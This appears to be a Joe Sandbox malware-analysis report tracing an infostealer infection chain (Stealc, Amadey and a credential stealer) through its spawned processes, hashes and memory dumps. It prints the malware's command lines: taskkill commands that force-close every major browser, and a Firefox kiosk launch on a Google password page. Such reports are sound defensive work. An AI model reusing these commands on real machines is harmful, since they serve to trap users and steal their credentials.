Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"
Imagebase:	0xfd0000
File size:	3'014'144 bytes
MD5 hash:	BA4ACD66F5A624204D7E4935BCC7607B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2346560328.000000000177C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:06:32
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe"
Imagebase:	0x1000000
File size:	919'552 bytes
MD5 hash:	59B54224956FE92C6CF81FF78616CF7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:06:32
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:06:32
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:06:35
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:06:35
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:06:36
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:06:37
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:06:37
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:06:37
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002530001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe"
Imagebase:	0xf20000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2283064269.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000000.2255211546.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2288121473.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:06:38
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e2d7a68-ce09-45bb-9226-d5bad111f1ce} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18faf96f710 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:06:39
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe"
Imagebase:	0x910000
File size:	2'153'984 bytes
MD5 hash:	B0F2E98C3FEA556C75A29C5325160F58
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.2291705404.0000000005350000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2390642371.000000000157B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2382127807.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:06:43
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a4ae015-968d-4b26-bc7a-e9bd99779ca8} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18fc1c44d10 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:06:48
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe"
Imagebase:	0x1000000
File size:	919'552 bytes
MD5 hash:	59B54224956FE92C6CF81FF78616CF7F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	01:06:48
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:06:48
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:06:56
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002530001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe"
Imagebase:	0xf20000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.2474881578.0000000001978000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000000.2454419542.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.2470365828.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:06:58
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe"
Imagebase:	0x3b0000
File size:	2'899'456 bytes
MD5 hash:	2C2EF4A8598A91D781960D9AE7D8CA86
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	01:07:01
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe"
Imagebase:	0x660000
File size:	1'873'408 bytes
MD5 hash:	E6DB0D8CCF91F1C7338EE950B14B8183
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002A.00000003.2533708529.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	01:07:06
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"
Imagebase:	0xfd0000
File size:	3'014'144 bytes
MD5 hash:	BA4ACD66F5A624204D7E4935BCC7607B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	01:07:06
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	01:07:06
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	01:07:07
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	01:07:07
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	01:07:07
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x250000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	01:07:07
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	26.1%
Signature Coverage:	10.9%
Total number of Nodes:	46
Total number of Limit Nodes:	5

Executed Functions

Function 0108D585 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0108D58C

Strings

C, xrefs: 0108D61B

Memory Dump Source

Source File: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 274ccc98477a3b0fa1b7bdf40d07e8705765127e73478a9e98fbe84e3fe9c06c
Instruction ID: 5e9983659a0bd84d97a0ae3b28c2d72b302afac0af2ff0ffdd02e942d3840c8e
Opcode Fuzzy Hash: 274ccc98477a3b0fa1b7bdf40d07e8705765127e73478a9e98fbe84e3fe9c06c
Instruction Fuzzy Hash: F8F059B240C64AFEEB009F64C8A0AFEBFA8EF55608F10464EE8C296081C5664D248739

Function 048B15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 048B18C8

Memory Dump Source

Source File: 00000004.00000002.1706314551.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_48b0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 0aa8523641777122f648e12ccc06b4f640bac62c127f01a140a97239608f915a
Instruction ID: 879c8285b94648bdac383873c65d4e79bfc08d3690905cd0da15bb148dc7005a
Opcode Fuzzy Hash: 0aa8523641777122f648e12ccc06b4f640bac62c127f01a140a97239608f915a
Instruction Fuzzy Hash: 79C15C71D002599FDB11CFA8C8997EEBBB1FB45354F148A29EC94EB384D774A881CB81

Function 00EFB974 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1703197983.0000000000EFA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000004.00000002.1703124498.0000000000EF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703178815.0000000000EF6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703218709.0000000000F06000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703352335.000000000106B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703371509.000000000106D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001085000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703428718.0000000001099000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703459080.000000000109A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703490363.000000000109C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703580809.000000000109D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703610267.00000000010A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703636436.00000000010AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703661150.00000000010AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703686740.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703716336.00000000010C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703742806.00000000010C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703768573.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703797590.00000000010D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703824478.00000000010E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703874282.00000000010F0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703904591.00000000010F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703930643.00000000010FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703954961.0000000001100000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1703979086.0000000001101000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704005132.0000000001106000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
